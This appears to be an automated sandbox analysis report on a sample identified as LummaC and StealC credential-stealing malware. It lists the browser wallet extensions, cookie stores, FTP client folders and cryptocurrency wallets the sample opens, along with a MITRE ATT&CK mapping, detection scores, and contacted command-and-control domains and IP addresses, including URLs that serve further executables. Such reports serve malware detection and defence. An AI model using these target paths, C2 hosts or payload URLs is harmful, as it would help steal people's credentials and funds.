Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 0.3.w23Vg439U1.exe.16fac08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w23Vg439U1.exe.16fac08.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1553041816.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1554213571.00000000016F4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1576636078.00000000016F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1579478212.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1579817826.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w23Vg439U1.exe PID: 3600, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: w23Vg439U1.exe PID: 3600, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.1842480874.00000000005A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1802184006.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: O4784SI9RJ8L8V71YQA7V.exe PID: 1220, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
w23Vg439U1.exe	54%	Virustotal		Browse
w23Vg439U1.exe	58%	ReversingLabs	Win32.Ransomware.StealC
w23Vg439U1.exe	100%	Avira	TR/Crypt.XPACK.Gen
w23Vg439U1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cuddlyready.xyz	172.67.150.173	true	false		high

Contacted URLs

Name	Malicious	Reputation
sendypaster.xyz	true	unknown
http://185.215.113.206/	false	high
steppriflej.xyz	true	unknown
smash-boiling.cyou	true	unknown
supporse-comment.cyou	true	unknown
hosue-billowy.cyou	true	unknown
cuddlyready.xyz	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
ripe-blade.cyou	true	unknown
greywe-snotty.cyou	true	unknown
https://cuddlyready.xyz/api	true	unknown
pollution-raker.cyou	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/pi	w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206%	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/	w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1651203923.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1650509334.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1531669076.0000000005DE8000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651503293.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507394489.00000000016A5000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507242913.000000000167B000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1554835561.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1507242913.0000000001682000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576619159.0000000005DF6000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617607312.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576947040.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1531202678.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1530604207.0000000005DE2000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/M	w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	w23Vg439U1.exe, 00000000.00000003.1554835561.00000000016F1000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/k	w23Vg439U1.exe, 00000000.00000003.1650509334.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617607312.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/ws	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.000000000102C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/d	w23Vg439U1.exe, 00000000.00000003.1650509334.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1651503293.0000000001714000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1617607312.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/Y	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	w23Vg439U1.exe, 00000000.00000003.1553255567.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apistriN	w23Vg439U1.exe, 00000000.00000003.1554213571.0000000001719000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1553041816.0000000001719000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exev	w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	w23Vg439U1.exe, 00000000.00000003.1554281079.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/g	w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/K2%	w23Vg439U1.exe, 00000000.00000003.1600964389.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/erK	w23Vg439U1.exe, 00000000.00000003.1576636078.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/off/def.exesz	w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	w23Vg439U1.exe, w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php&	O4784SI9RJ8L8V71YQA7V.exe, 00000004.00000002.1844107193.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	w23Vg439U1.exe, 00000000.00000003.1508204616.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508265665.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508343188.0000000005D9B000.00000004.00000800.00020000.00000000.sdmp	false	high
